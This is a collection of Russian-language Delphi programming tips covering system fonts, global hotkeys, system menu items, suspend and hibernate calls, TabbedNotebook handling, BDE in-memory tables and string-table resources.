procedure TMain.WMGetSysCommand(var message : TMessage) ;
begin
if (message.wParam = SC_MINIMIZE) then
Main.Visible := False
else
inherited;
end;
|
Получение информации о системных шрифтах.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение информации о системных шрифтах
Данная функция возвращает Наnd1е системного шрифта (определённого в свойтвах
экрана). В качестве параметра используется одно из значений типа TNCFont:
CaptionFont - шрифт, используемый в заголовках форм;
MenuFont - шрифт меню;
MessageFont - шрифт текста в стандартных диалоговых окнах;
SmCaptionFont - шрифт всплывающих подсказок;
StatusFont - шрифт строк состояния;
Зависимости: Windows
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 21 мая 2002 г.
***************************************************** }
type
TNCFont = (CaptionFont, MenuFont, MessageFont, SmCaptionFont, StatusFont);
function GetNCFontHandle(const NCFont: TNCFont): cardinal;
var
NCM: TNonClientMetrics;
LF: TLogFont;
B: LongBool;
begin
NCM.cbSize := SizeOf(NCM);
B := SystemParametersInfo(SPI_GETNONCLIENTMETRICS, 0, @NCM, 0);
if B then
begin
case NCFont of
SmCaptionFont: LF := NCM.lfSmCaptionFont;
CaptionFont: LF := NCM.lfCaptionFont;
MenuFont: LF := NCM.lfMenuFont;
MessageFont: LF := NCM.lfMessageFont;
StatusFont: LF := NCM.lfStatusFont;
else
LF := NCM.lfMessageFont;
end;
{if WinNT then begin
LF.lfCharset:=LangIDToCharset(0);
end;}
end
else
begin
FillChar(LF, SizeOf(LF), 0);
LF.lfHeight := -11;
LF.lfWidth := 0;
LF.lfCharSet := DEFAULT_CHARSET;
StrPCopy(@LF.lfFaceName[0], 'MS Sans Serif');
end;
Result := CreateFontIndirect(LF);
end;
Пример использования:
Button1.Font.Handle := GetNCFontHandle(MessageFont); StatusBar1.Font.Handle := GetNCFontHandle(StatusFont);
Регистрация горячих системных клавиш.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
The following example demonstrates registering hotkeys with the
system to globally trap keys.
Das Folgende Beispiel zeigt, wie man Hotkeys registrieren und
darauf reagieren kann, wenn sie gedruckt werden. (systemweit)
}
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
id1, id2, id3, id4: Integer;
procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Trap Hotkey Messages
procedure TForm1.WMHotKey(var Msg: TWMHotKey);
begin
if Msg.HotKey = id1 then
ShowMessage('Ctrl + A pressed !');
if Msg.HotKey = id2 then
ShowMessage('Ctrl + Alt + R pressed !');
if Msg.HotKey = id3 then
ShowMessage('Win + F4 pressed !');
if Msg.HotKey = id4 then
ShowMessage('Print Screen pressed !');
end;
procedure TForm1.FormCreate(Sender: TObject);
// Different Constants from Windows.pas
const
MOD_ALT = 1;
MOD_CONTROL = 2;
MOD_SHIFT = 4;
MOD_WIN = 8;
VK_A = $41;
VK_R = $52;
VK_F4 = $73;
begin
// Register Hotkey Ctrl + A
id1 := GlobalAddAtom('Hotkey1');
RegisterHotKey(Handle, id1, MOD_CONTROL, VK_A);
// Register Hotkey Ctrl + Alt + R
id2 := GlobalAddAtom('Hotkey2');
RegisterHotKey(Handle, id2, MOD_CONTROL + MOD_Alt, VK_R);
// Register Hotkey Win + F4
id3 := GlobalAddAtom('Hotkey3');
RegisterHotKey(Handle, id3, MOD_WIN, VK_F4);
// Globally trap the Windows system key "PrintScreen"
id4 := GlobalAddAtom('Hotkey4');
RegisterHotKey(Handle, id4, 0, VK_SNAPSHOT);
end;
// Unregister the Hotkeys
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey(Handle, id1);
GlobalDeleteAtom(id1);
UnRegisterHotKey(Handle, id2);
GlobalDeleteAtom(id2);
UnRegisterHotKey(Handle, id3);
GlobalDeleteAtom(id3);
UnRegisterHotKey(Handle, id4);
GlobalDeleteAtom(id4);
end;
end.
{
RegisterHotKey fails if the keystrokes specified for the hot key have
already been registered by another hot key.
Windows NT4 and Windows 2000/XP: The F12 key is reserved for use by the
debugger at all times, so it should not be registered as a hot key. Even
when you are not debugging an application, F12 is reserved in case a
kernel-mode debugger or a just-in-time debugger is resident.
}
Добавляем пункты в системное меню Windows.
Оформил: DeeCo
Автор: MAD Rodrguez.
Вы, наверное, задавались вопросом, почему системное меню постоянно одно и тоже ? Пример показывает, как добавить туда такие пункты как "About" или "Information", или что-нибудь ещё. Совместимость: Delphi 3.x (или выше).
Нам понадобится две вещи, первая это Item ID, который может быть любым целым числом. Второе это Описание(Caption) для нашего пункта меню. Нам понадобится также процедура, которая будет принимать сообщения Window для определения нажатия на наш пункт меню.
unit OhYeah;
interface uses SysUtils,
WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs,
Menus;
type
TForm1 = class(TForm)
procedure FormCreate(Sender:
TObject);
private {Private
declarations} public {Public declarations}
procedure WinMsg(var Msg:
TMsg; var Handled: Boolean);
procedure DoWhatEever;
end;
var
Form1: TForm1;
implementation{$R *.DFM}const
ItemID = 99; // ID номер для пункта меню. Может быть любым
procedure Tform1.WinMsg(var Msg: TMsg; var Handled: Boolean);
begin
if
Msg.Message = WM_SYSCOMMAND then
if Msg.WParam = ItemID then
DoWhatEver;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnMessage := WinMsg;
AppendMenu(GetSystemMenu(Form1.Handle, False), MF_SEPARATOR, 0, '');
AppendMenu(GetSystemMenu(Form1.Handle,
False), MF_BYPOSITION, ItemID, '&My menu');
AppendMenu(GetSystemMenu
(Application.Handle, False), MF_SEPARATOR, 0, '');
AppendMenu(GetSystemMenu(Application.Handle, False),
MF_BYPOSITION, ItemID, 'My menu minimized');
end;
procedure TForm1.DoWhatEver;
begin
Exit; // Вы можете добавить здесь всё, что угодно
end;
end.
Оповещение о том, что изменили системные настройки.
| Парадокс. На Западе система Юникс бесплатна, а за Винды надо заплатить 384 доллара. А в России и Юникс стоит восемьдесят рублей и Винды те же восемьдесят. |
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE ); |
Заставить системное меню выпасть в указанном месте.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
How to popup the windows system menu?
Maybe you can use Keybd_event to eumlate ALT+SPACE
Maybe you can use a TPopupmenu.
But they always have some problem.
The method below is a perfect solution!
BTW: if your form has borderstyle = bsNone, Please do it like this:
Set forms style = bsSingle; and use the code below to set form boder:
SetWindowLong(Handle, GWL_STYLE,GetWindowLong(Handle, GWL_STYLE)
and (not WS_CAPTION) or WS_DLGFRAME or WS_OVERLAPPED);
}
procedure TForm1.Button1Click(Sender: TObject);
const
{ Undocument message ID }
WM_POPUPSYSTEMMENU = $313;
begin
SendMessage(Handle, WM_POPUPSYSTEMMENU, 0,
MakeLong(Mouse.CursorPos.X, Mouse.CursorPos.Y));
end;
Создаём системную горячую клавишу.
| В некотором царстве в некотором государстве на 39 уровне жил был Кащей Бессмертный и было у него 4 жизни и лабиринт, а смерть его была ctrl+alt +delete. Тут и сказочке Esc, а кто не понял F1. |
{
The following example demonstrates registering hot keys with the
system to globally trap keys.
}
unit Unit1;
interface
uses
Windows, Messages, Forms, Dialogs;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
// Hotkey Ids
id1, id2, id3, id4: Integer;
procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
{ Privat-Declarations}
public
{ Public-Declarations}
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
// Trap Hotkey Messages
procedure TForm1.WMHotKey(var Msg: TWMHotKey);
begin
if Msg.HotKey = id1 then
ShowMessage('Ctrl + A was pressed !');
if Msg.HotKey = id2 then
ShowMessage('Ctrl + Alt + R was pressed !');
if Msg.HotKey = id3 then
ShowMessage('Win + F4 was pressed !');
if Msg.HotKey = id4 then
ShowMessage('Print Screen was pressed !');
end;
procedure TForm1.FormCreate(Sender: TObject);
// Different Constants from Windows.pas
const
MOD_ALT = 1;
MOD_CONTROL = 2;
MOD_SHIFT = 4;
MOD_WIN = 8;
VK_A = 65;
VK_R = 82;
VK_F4 = 115;
begin
// Register Hotkey Ctrl + A
id1 := GlobalAddAtom('Hotkey1');
RegisterHotKey(Handle, id1, MOD_CONTROL, VK_A);
// Register Hotkey Ctrl + Alt + R
id2 := GlobalAddAtom('Hotkey2');
RegisterHotKey(Handle, id2, MOD_CONTROL + MOD_Alt, VK_R);
// Register Hotkey Win + F4
id3 := GlobalAddAtom('Hotkey3');
RegisterHotKey(Handle, id3, MOD_WIN, VK_F4);
// Globally trap the Windows system key "PrintScreen"
id4 := GlobalAddAtom('Hotkey4');
RegisterHotKey(Handle, id4, 0, VK_SNAPSHOT);
end;
// Unregister the Hotkeys
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey(Handle, id1);
UnRegisterHotKey(Handle, id2);
UnRegisterHotKey(Handle, id3);
UnRegisterHotKey(Handle, id4);
end;
end.
{
RegisterHotKey fails if the keystrokes specified for the hot key have
already been registered by another hot key.
Windows NT4 and Windows 2000/XP: The F12 key is reserved for use by the
debugger at all times, so it should not be registered as a hot key. Even
when you are not debugging an application, F12 is reserved in case a
kernel-mode debugger or a just-in-time debugger is resident.
}
|
Перевод системы в режим ожидания или спячки.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
The SetSuspendState function suspends the system by shutting power down.
Depending on the Hibernate parameter,
the system either enters a suspend (sleep) state or hibernation.
Syntax:
}
function SetSuspendState(
Hibernate: Boolean,
ForceCritical: Boolean,
DisableWakeEvent: Boolean);
{ Parameters:
Hibernate: If this parameter is TRUE, the system hibernates.
If the parameter is FALSE, the system is suspended.
ForceCritical: If this parameter is TRUE, the system suspends operation immediately;
if it is FALSE, the system broadcasts a PBT_APMQUERYSUSPEND event to
each application to request permission to suspend operation.
DisableWakeEvent: If this parameter is TRUE, the system disables all wake events.
If the parameter is FALSE, any system wake events remain enabled.
Windows NT/2000/XP: Included in Windows 2000 and later.
Windows 95/98/Me: Included in Windows 98 and later.
}
var
_SetSuspendState: function (Hibernate, ForceCritical, DisableWakeEvent: BOOL): BOOL
stdcall = nil;
function LinkAPI(const module, functionname: string): Pointer; forward;
function SetSuspendState(Hibernate, ForceCritical,
DisableWakeEvent: Boolean): Boolean;
begin
if not Assigned(_SetSuspendState) then
@_SetSuspendState := LinkAPI('POWRPROF.dll', 'SetSuspendState');
if Assigned(_SetSuspendState) then
Result := _SetSuspendState(Hibernate, ForceCritical,
DisableWakeEvent)
else
Result := False;
end;
function LinkAPI(const module, functionname: string): Pointer;
var
hLib: HMODULE;
begin
hLib := GetModulehandle(PChar(module));
if hLib = 0 then
hLib := LoadLibrary(PChar(module));
if hLib <> 0 then
Result := getProcAddress(hLib, PChar(functionname))
else
Result := nil;
end;
// Example Call:
// Beispielaufruf:
procedure TForm1.Button1Click(Sender: TObject);
begin
SetSuspendState(True, False, False);
end;
Как открыть диалог смены системного времени.
Автор: http://www.swissdelphicenter.ch
uses Shellapi; procedure TForm1.Button1Click(Sender: TObject); begin ShellExecute(Handle, 'open', 'control', 'date/time', nil, SW_SHOW); end;
Сохранить и загрузить двумерный динамический массив.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
T2DBooleanArray = array of array of Boolean;
procedure Save2DBooleanArray(const A: T2DBooleanArray; S: TStream);
var
writer: TWriter;
i: Integer;
begin
Assert(Assigned(S));
writer := TWriter.Create(S, 8096);
try
writer.WriteInteger(Length(A));
for i := 0 to Length(A) - 1 do
begin
writer.WriteInteger(Length(A[i]));
writer.Write(A[i, 0], Length(A[i]) * sizeof(A[i, 0]));
end; { For }
finally
writer.Free;
end; { Finally }
end;
procedure Load2DBooleanArray(var A: T2DBooleanArray; S: TStream);
var
reader: TReader;
i, numrows, numcols: Integer;
begin
Assert(Assigned(S));
reader := TReader.Create(S, 8096);
try
numrows := reader.ReadInteger;
SetLength(A, numrows);
for i := 0 to numrows - 1 do
begin
numcols := reader.ReadInteger;
SetLength(A[i], numcols);
reader.Read(A[i, 0], numcols * sizeof(A[i, 0]));
end; { For }
finally
reader.Free;
end; { Finally }
end;
Динамические создание объектов в TabbedNotebook.
procedure TForm1.TabbedNotebook1Click(Sender: TObject);
var
myE: TEdit;
begin
with TabbedNotebook1 do
begin
if PageIndex = 1 then
begin
myE := TEdit.Create(Self);
myE.Left := 12;
myE.Top := 12;
myE.Parent := Pages.Objects[PageIndex] as TWinControl;
myE.Show;
end;
end;
end;
|
Динамические создание объектов в TabbedNotebook 2.
Как мне поместить кнопку (во время выполнения программы) на страницу TabbedNoteBook?
procedure TForm1.Button1Click(Sender: TObject); var Button2:Tbutton; begin button2:=tbutton.create(self); button2.parent:=TabbedNotebook1.Pages.Object[0] as TTabPage; button2.setbounds(30,30,60,30); end; |
Недоступная закладка в компоненте TabbedNotebook.
Да, такая возможность существует. Самый простой путь - удалить страницу, например так:
with TabbedNotebook do Pages.Delete(PageIndex); |
Блокировка (а не удаление) немного мудренее, поскольку необходима организация цикла в процедуре создания формы, присваивающая имена закладкам компонента TabbedNotebook. Например так:
J := 0; with TabbedNotebook do for I := 0 to ComponentCount - 1 do if Components[I].ClassName = 'TTabButton' then begin Components[I].Name := ValidIdentifier(TTabbedNotebook( Components[I].Owner).Pages[J]) + 'Tab'; Inc(J); end; |
Где ValidIdentifier ValidIdentifier - функция, которая возвращает правильный Pascal-идентификатор, производный от строки 'Tab':
function ValidIdentifier (theString: str63): str63;
{--------------------------------------------------------}
{ Конвертирует строку в правильный Pascal-идентификатор, }
{ удаляя все неправильные символы и добавляя символ '_', }
{ если первый символ - цифра }
{--------------------------------------------------------}
var
I, Len: Integer;
begin
Len := Length(theString);
for I := Len downto 1 do
if not (theString[I] in LettersUnderscoreAndDigits) then
Delete(theString, I, 1);
if not (theString[1] in LettersAndUnderscore) then
theString := '_' + theString;
ValidIdentifier := theString;
end; {ValidIdentifier}
|
Затем мы можем сделать закладку компонента TabbedNotebook недоступной:
with TabbedNotebook do
begin
TabIdent := ValidIdentifier(Pages[PageIndex]) + 'Tab';
TControl(FindComponent(TabIdent)).Enabled := False;
{ Переключаемся на первую доступную страницу: }
for I := 0 to Pages.Count - 1 do
begin
TabIdent := ValidIdentifier(Pages[I]) + 'Tab';
if TControl(FindComponent(TabIdent)).Enabled then
begin
PageIndex := I;
Exit;
end;
end; {for}
end; {with TabbedNotebook}
|
Следующий код восстанавливает доступность страницы:
with TabbedNotebook do
for I := 0 to Pages.Count - 1 do
begin
TabIdent := ValidIdentifier(Pages[I]) + 'Tab';
if not TControl(FindComponent(TabIdent)).Enabled then
TControl(FindComponent(TabIdent)).Enabled := True;
end; {for}
|
Доступ к страницам Tabbednotebook.
При добавлении компонентов во время выполнения программы, вам необходимо присвоить для каждого компонента свойству parent (контейнер) _страницу_ компонента notebook, а не сам notebook.Вы можете сделать это следующим образом (пример дан для кнопки):
MyButton := TButton.Create( Form1 ); {как обычно...}
...
...
MyButton.Parent := TTabPage( TabbedNotebook1.Pages.Objects[n] );
{ <== где 'n' - индекс желаемой страницы ==> }
|
При добавлении компонента на страницу TabbedNotebook во время выполнения приложения, указатель на желаемую страницу для свойства Parent нового компонента должен быть назначен перед тем, как он будет реально показан. Способ получить доступ ко всем страницам TTabbedNotebook во время выполнения программы - с помощью свойства-массива Objects свойства TabbedNotebook Pages. Другими словами, страничные компоненты хранятся как объекты, присоединенные к имени страницы в списке строк свойства Pages. В следующим коде показано создание кнопки на второй странице компонента TabbedNotebook1:
var NewButton : TButton; begin NewButton := TButton.Create(Self); NewButton.Parent := TWinControl(TabbedNotebook1.Pages.Objects[1]) ... |
Вот как страница TNotebook может быть использована в качестве родителя для вновь создаваемого на ней компонента:
NewButton.Parent := TWinControl(Notebook1.Pages.Objects[1]) |
Вот как страница (закладка) TTabSet может быть использована в качестве родителя для вновь создаваемого на ней компонента:
NewButton.Parent := TWinControl(TabSet1.Tabs.Objects[1]) |
Tabbednotebook и куча ресурсов.
Данный документ расскажет о том, как с помощью Object Pascal можно управлять числом активных handlesWindows (оконных дескрипторов), в особенности кучей ресурсов пользователя (User Resource heap), а также следить за этими показателями. О чем этот документ? Попробую коротко и доходчиво: Windows следит за каждым элементом, имеющим фокус, через его дескриптор (Handle). Исходя из этого, Windows не может одновременно поддерживать несколько оконных дескрипторов (4-байтных указателей), и в этом совете мы приведем простой пример кода, позволяющего "легко" загружать ресурсы и обходить эти ограничения, встающие перед разработчиками Delphi. USER DLL в действительности является библиоткой, распределяющей и поддерживающей ресурсы для всех окон и связанных структур данных, включая элементы управления, имеющие фокус, и другие неупомянутые объекты, но вместе с тем необходимо помнить, что эта библиотека работает под Windows. С этим связаны ограничения при работе с ресурсами USER DLL, и эта та проблема, над которой мы будем работать в этом совете. Данный пример добавляет загрузку ресурса для каждого элемента управления, добавляемого на форму, здесь мы берем 4 байта из кучи USER в 64К *. Почему мы уверены в том, что у нас это получится? Мы будем разрушать** дескрипторы окон, которые Windows, согласно своей архитектуре, должна помнить. Разрушая эти дескрипторы, мы, таким образом, избегаем освобождения пользовательских (USER) ресурсов, это означает, что нам не нужно будет снова создавать вышеуказанные объекты. Наоборот, текущая архитектура VCL обладает способностью следить за вышеуказанными объектами, которые, в действительности, являются указателями на структуру. Так, зная, что VCL поддерживает дескриптор и windows создаст новый дескриптор КАК ТРЕБУЕТСЯ, то вместо поддержания постоянно одного дескриптора (как это подразумевалось при создании архитектуры Windows), мы можем управлять пользовательскими (USER) ресурсами вручную, позволяя разработчику легко загружать их по мере необходимости. Данный пример демонстрирует работу с дескрипторами пользовательских (USER) ресурсов компонента Delphi TTabbedNoteBook (в части освобождения дескрипторов страниц), Delphi DestroyHandle (процедура TWinControl для удаления пользовательских (USER) дескрипторов), и работу вызова Windows API LockWindowUpdate (блокировка нежелательной перерисовки). Технология освобождения дескриптора страницы TTabbedNoteBook может работать и с любыми потомками TWinControl. TWinControl - класс предка, который умеет создавать и разрушать оконные дескрипторы; CreateHandle & DestroyHandle. * 64К для Win3.1 & 64К только для 16-битной подсистемы Win95. Для получения дополнительной информации обратитесь в Microsoft или к MSDN. ** Как побочный эффект при разрушении вышеописанных дескрипторов, TTabbedNotebook, используемый в данном примере, гораздо быстрее выполняет перемещение страниц. Демонстрационный код Следующий код с приведенными обработчиками событий является "отрывком" из большого проекта с компонентами TTimer, TTabbedNotebook (с множеством страниц) и большим разнообразием визуальных элементов управления на каждой странице компонента. (Позже мы подчеркнем преимущества кода, приведенного ниже, перед его добавлением в ваш проект) Приведенный код должен располагаться соответственно в обработчиках событий OnTimer компонента TTimer и OnChange компонента TTabbedNotebook. Вот каким должен быть ваш новый код:<Модуль с объявленными в нем TTabbedNotebook и TTimer>
...
implementation
type
TSurfaceWin = class(TWinControl);
procedure TForm1.Timer1Timer(Sender: TObject);
begin
{Данный код заменяет заголовок формы на системную информацию,
содержащую в процентах free SYSTEM, GDI, &USER для windows.}
caption := 'SYSTEM: ' +
inttostr(getfreesystemresources(GFSR_SYSTEMRESOURCES)) +
' GDI: ' + inttostr(getfreesystemresources(GFSR_GDIRESOURCES)) +
' USER: ' + inttostr(getfreesystemresources(GFSR_USERRESOURCES));
end;
procedure TForm1.TabbedNotebook1Change(Sender: TObject; NewTab:
Integer; var AllowChange: Boolean);
begin
{LockWindowUpdate запрещает перерисовку данного окна}
LockWindowUpdate(handle);
{Причина использования TSurfaceWin в том, что вызов DestroyHandle
в TWinControl объявлен как абстрактный, поэтому данный вызов
возможен только его потомками, реализовавшими данную процедуру.
Следующая строка читает индекс текущей страницы TabbedNotebook
и разрушает ее дескриптор при перемещении на другую страницу.
ПРИМЕЧАНИЕ: Даже если мы уничтожаем дескриптор, Windows помнит
страничный объект и переназначает/создает новый при нажатии на
другой закладке. }
TSurfaceWin(TabbedNotebook1.pages.objects[tabbedNotebook1.pageindex]).DestroyHandle;
{Выключаем блокировку формы, чтобы любой элемент управления мог перерисовывать себя}
LockWindowUpdate(0);
end;
|
Печать табуляторов с помощью TextOut.
Автор: Bob Fisher Я пытаюсь напечатать некий текст с помощью Printer.Canvas.TextOut. Моя строка содержит табуляторы, но они почему-то печатаются на бумаге в виде черных прямоугольников. Как мне правильно напечатать строку, содержащую табуляторы?Обратите внимание на функцию API "TabbedTextOut". Ваш холст (canvas) воспользоваться ей не сможет, но вы можете просто вызвать эту API функцию и передать ей дескриптор холста.
Над какой закладкой курсор в TabControl.
Автор: YoungHackerПолучение позиции мышиного курсора для TabControl над какой закладкой находится курсор.
function Form1.ItemAtPos(TabControlHandle : HWND; X, Y : Integer) : Integer; var HitTestInfo : TTCHitTestInfo; HitIndex : Integer; begin HitTestInfo.pt.x := X; HitTestInfo.pt.y := Y; HitTestInfo.flags := 0; HitIndex := SendMessage(TabControlHandle, TCM_HITTEST, 0, Longint(@HitTestInfo)); Result := HitIndex; end; |
Таблицы в памяти.
| Автор: grisha@mira.com |
| 4 Mb - это не память. Это склероз |
InMemory-таблицы являются характеристикой Borland Database Engine (BDE). InMemory-таблицы создаются в RAM и удаляются при их закрытии. Работают они значительно быстрее и очень полезны в случае, если вам нужны быстрые операции в небольших таблицах. Данный пример использует вызов функции BDE DbiCreateInMemoryTable. Данный объект должен работать наподобии простой регулярной таблицы, за исключением того, что InMemory-таблицы не поддерживают некоторые характеристики (типа проверка целостности, вторичные индексы и BLOB-поля), и в настоящее время данный код не содержит механизма обработки ошибок. Вероятно, вы получите ошибку при попытке создания memo-поля. Если у вас есть любые замечания, шлите их по адресу grisha@mira.com.
unit Inmem;
interface
uses DBTables, WinTypes, WinProcs, DBITypes, DBIProcs, DB, SysUtils;
type
TInMemoryTable = class(TTable)
private
hCursor: hDBICur;
procedure EncodeFieldDesc(var FieldDesc: FLDDesc;
const Name: string; DataType: TFieldType; Size: Word);
function CreateHandle: HDBICur; override;
public
procedure CreateTable;
end;
implementation
{ Эта функция виртуальная, так что я смог перекрыть ее.
В оригинальном VCL-коде для TTable эта функция реально
открывает таблицу, но, поскольку мы уже имеем дескриптор
таблицы, то мы просто возвращаем его }
function TInMemoryTable.CreateHandle;
begin
Result := hCursor;
end;
{ Эта функция получена ее простым копированием из исходного
кода VCL. Я должен был это сделать, поскольку это было
объявлено в секции private компонента TTable, поэтому отсюда
у меня не было к этому досупа. }
procedure TInMemoryTable.EncodeFieldDesc(var FieldDesc: FLDDesc;
const Name: string; DataType: TFieldType; Size: Word);
const
TypeMap: array[TFieldType] of Byte = (
fldUNKNOWN, fldZSTRING, fldINT16, fldINT32, fldUINT16, fldBOOL,
fldFLOAT, fldFLOAT, fldBCD, fldDATE, fldTIME, fldTIMESTAMP, fldBYTES,
fldVARBYTES, fldBLOB, fldBLOB, fldBLOB);
begin
with FieldDesc do
begin
AnsiToNative(Locale, Name, szName, SizeOf(szName) - 1);
iFldType := TypeMap[DataType];
case DataType of
ftString, ftBytes, ftVarBytes, ftBlob, ftMemo, ftGraphic:
iUnits1 := Size;
ftBCD:
begin
iUnits1 := 32;
iUnits2 := Size;
end;
end;
case DataType of
ftCurrency:
iSubType := fldstMONEY;
ftBlob:
iSubType := fldstBINARY;
ftMemo:
iSubType := fldstMEMO;
ftGraphic:
iSubType := fldstGRAPHIC;
end;
end;
end;
{ Вот кухня, где все это происходит. Я скопировал эту
функцию из исходников VCL и затем изменил ее для
использования DbiCreateInMemoryTable вместо DbiCreateTable.
Поскольку InMemory-таблицы не поддерживают индексы,
я удалил весь соответствующий код. }
procedure TInMemoryTable.CreateTable;
var
I: Integer;
pFieldDesc: pFLDDesc;
szTblName: DBITBLNAME;
iFields: Word;
Dogs: pfldDesc;
begin
CheckInactive;
if FieldDefs.Count = 0 then
for I := 0 to FieldCount - 1 do
with Fields[I] do
if not Calculated then
FieldDefs.Add(FieldName, DataType, Size, Required);
pFieldDesc := nil;
SetDBFlag(dbfTable, True);
try
AnsiToNative(Locale, TableName, szTblName, SizeOf(szTblName) - 1);
iFields := FieldDefs.Count;
pFieldDesc := AllocMem(iFields * SizeOf(FLDDesc));
for I := 0 to FieldDefs.Count - 1 do
with FieldDefs[I] do
begin
EncodeFieldDesc(PFieldDescList(pFieldDesc)^[I], Name,
DataType, Size);
end;
{ тип драйвера nil, т.к. поля логические }
Check(DbiTranslateRecordStructure(nil, iFields, pFieldDesc,
nil, nil, pFieldDesc));
{ здесь hCursor получает свое значение }
Check(DbiCreateInMemTable(DBHandle, szTblName, iFields, pFieldDesc,
hCursor));
finally
if pFieldDesc <> nil then
FreeMem(pFieldDesc, iFields *
SizeOf(FLDDesc));
SetDBFlag(dbfTable, False);
end;
end;
end.
{Данный код взят из файлов помощи Ллойда!}
|
Таблицы строк.
| Поймал програмер мышь мышеловкой и давай по коврику таскать ее, а стрелка на месте стоит: "Наверное, ее почистить надо", - подумал програмер. |
STRINGTABLE
{
1, "&Yes"
2, "&No"
17, "&Si"
18, "&No"
33, "&Ja"
34, "&Nej"
}
Файл начинается с ключевого слова stringtable, обозначая, что следом располагается таблица строк. Сами строки находятся внутри скобок, таким образом таблица должна быть обрамлена двумя скобками - открывающей и закрывающей. Каждая строка должна содержать идентификатор, сопровождаемый строкой, заключенной в кавычки. Строка может содержать вплоть до 255 символов. Если вам нужно вставить нестандартный символ, напишите его восьмиричный код и предварите его обратной косой чертой. Единственное исключение - когда вам нужно вставить саму обратную черту - в этом случае понадобиться использование двух таких символов. Вот два примера:
1, "A two\012line string" 2, "c:\\Borland\\Delphi"Используемый номер индекса абсолютно не важен для компилятора. Вы должны иметь в виду, что таблицы строк располагаются в памяти в 16 битных сегментах (Win 3.xx). Для компиляции .rc-файла в .res-файл, который можно прилинковать к вашему приложению, вы должны набрать в командной строке полный путь к компилятору ресурсов и полный путь к компилируемому .rc-файлу. Вот пример:
c:\Delphi\Bin\brcc32.exe c:\Delphi\strtbl32.rcПосле окончания процесса компиляции в указанном каталоге появляется файл с тем же именем, что и у .rc-файла, но имеющий расширение ".res". Для включения ресурсов в ваше приложение необходимо в коде программы добавить следующую директиву компилятора, указывающую на файл с ресурсами: {$R ResFileName.RES} После того, как .res-файл прилинкуется к приложению, вы можете воспользоваться связанными ресурсами из любого модуля вашего проекта, даже если вы определили директиву $R в секции реализации (implementation) другого модуля.
Вот пример использования Windows API функции LoadString() для загрузки в массив символов третьей строки из таблицы строк:
if LoadString(hInstance, 3, @a, sizeof(a)) <> 0 then .... |
Во время работы приложения мы выясняем язык операционной системы, установленный по умолчанию. Метод получения такой информации отличается для 16- и 32-битной версии Windows. Чтобы сделать код более читабельным, мы позаимствовали "языковые" константы из файла Windows.pas, применяемого в 32-битной версии Delphi.
{$IFDEF WIN32}
{$R STRTBL32.RES}
{$ELSE}
{$R STRTBL16.RES}
const
LANG_ENGLISH = $09;
const
LANG_SPANISH = $0A;
const
LANG_SWEDISH = $1D;
{$ENDIF}
function GetLanguage: word;
{$IFDEF WIN32}
{$ELSE}
var
s: string;
i: integer;
{$ENDIF}
begin
{$IFDEF WIN32}
GetLanguage := GetUserDefaultLangID and $3FF;
{$ELSE}
s[0] := Char(GetProfileString('intl',
'sLanguage',
'none',
@s[1],
sizeof(s) - 2));
for i := 1 to length(s) do
s[i] := UpCase(s[i]);
if s = 'ENU' then
GetLanguage := LANG_ENGLISH
else if s = 'ESN' then
GetLanguage := LANG_SPANISH
else if s = 'SVE' then
GetLanguage := LANG_SWEDISH
else
GetLanguage := LANG_ENGLISH;
{$ENDIF}
end;
procedure TForm1.FormCreate(Sender: TObject);
var
a: array[0..255] of char;
StrTblOfs: integer;
begin
{Получаем текущий язык системы и начало соответствующих строк в таблице}
case GetLanguage of
LANG_ENGLISH: StrTblOfs := 0;
LANG_SPANISH: StrTblOfs := 16;
LANG_SWEDISH: StrTblOfs := 32;
else
StrTblOfs := 0;
end;
{Загружаем и устанавливаем заголовок кнопки "Yes" в соответствии с языком}
if LoadString(hInstance,
StrTblOfs + 1,
@a,
sizeof(a)) <> 0 then
Button1.Caption := StrPas(a);
{Загружаем и устанавливаем заголовок кнопки "No" в соответствии с языком}
if LoadString(hInstance,
StrTblOfs + 2,
@a,
sizeof(a)) <> 0 then
Button2.Caption := StrPas(a);
end;
|
Извлечение данных индекса таблицы.
Получить во время выполнения приложения список индексов, ассоциированных с таблицей также просто, как вызвать метод GetIndexNames для компонентов TTable, TQuery или TStoredProc. Метод GetIndexNames возвращает список, доступный в наборе данных для компонента TStrignList, установленного на форме (для нашего примера), или других визуальных компонентов, таких как TListBox, через свойство Items:
ListBox1.Clear; Table1.GetIndexNames(ListBox1.Items); |
Count: type Integer;доступно только во время выполнения программы и имеет флаг только для чтения; указывает на количество элементов в свойстве Items (например, количество индексов в таблице).
Items: type TIndexDef;доступно только во время выполнения программы и имеет флаг только для чтения; массив объектов TIndexDef, каждый объект описывает один индекс таблицы. Свойство Count объекта IndexDefs является основой для создания счетчика цикла, в теле которого с помощью элементов свойства Items извлекается информация о каждом индексе таблицы. Каждый объект IndexDef, содержащийся в свойстве Items, состоит из множества свойств, описывающих характеристики каждого индекса в отдельности. Все свойства объекта IndexDef доступны только во время выполнения программы и имеют флаг "только для чтения". Вот эти свойства:
Expression: type String; содержит выражение, использующееся
для dBASE multi-field индексов
(индексов для нескольких полей).
Fields: type String; содержит поле или несколько полей,
на основе которых создан индекс.
Name: type String; имя индекса.
Options: type TIndexOptions; характеристики индекса
(ixPrimary, ixUnique и др.).
